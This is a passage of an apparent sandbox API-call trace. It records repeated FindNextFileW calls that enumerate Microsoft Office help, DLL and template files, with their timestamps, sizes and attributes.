dwReserved1=0x0, cFileName="MSOUC_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.411] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91408700, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91408700, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x487dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV.HXS", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ddaa100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ddaa100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ddaa100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ddaa100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ddaa100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ddaa100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9271b400, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9271b400, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x1cc936, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.HXS", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe30400, ftCreationTime.dwHighDateTime=0x1c2a1b4, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8fe30400, ftLastWriteTime.dwHighDateTime=0x1c2a1b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.OPG", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_COL.HXC", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b784700, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b784700, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_COL.HXT", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b784700, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b784700, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b784700, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b784700, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8527700, ftCreationTime.dwHighDateTime=0x1c33a9f, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd8527700, ftLastWriteTime.dwHighDateTime=0x1c33a9f, nFileSizeHigh=0x0, nFileSizeLow=0x7d682, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSQRY32.CHM", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x15d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTINTL.DLL", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e84c00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x88e84c00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x5f254, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE.HXS", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_COL.HXC", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416e2800, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x416e2800, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_COL.HXT", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416e2800, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x416e2800, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416e2800, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x416e2800, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.CSS", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4126500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4126500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK1.VRD", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4126500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4126500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x866, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK2.VRD", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4126500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4126500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0xcae, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK3.VRD", cAlternateFileName="")) returned 1 [0069.412] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaeefd00, ftCreationTime.dwHighDateTime=0x1c2c076, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeaeefd00, ftLastWriteTime.dwHighDateTime=0x1c2c076, nFileSizeHigh=0x0, nFileSizeLow=0x468, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCCMPVRD.XML", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b675400, ftCreationTime.dwHighDateTime=0x1c2c0e2, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4b675400, ftLastWriteTime.dwHighDateTime=0x1c2c0e2, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCMODVRD.XML", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde567d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xde567d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x81380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFOWCI.DLL", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x6fd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS.HXS", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc74da00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc74da00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1f998, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISINTL.DLL", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_COL.HXC", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501af00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4501af00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_COL.HXT", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501af00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4501af00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501af00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4501af00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8de21e00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8de21e00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x62180, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70618400, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70618400, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xdf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONELEV.EXE", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.HXS", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabfa4f00, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0xc81aa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabfa4f00, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x25e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteSyncPCIntl.dll", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_COL.HXC", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48953600, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48953600, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_COL.HXT", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48953600, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48953600, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48953600, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48953600, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb96d3b00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb96d3b00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x148d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONGuide.onepkg", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc81aa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x341f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3266200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3266200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3266200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc81aa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3266200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1bf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0069.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5439200, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50af3f00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5439200, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCH.VRD", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50b1a060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.VSL", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: 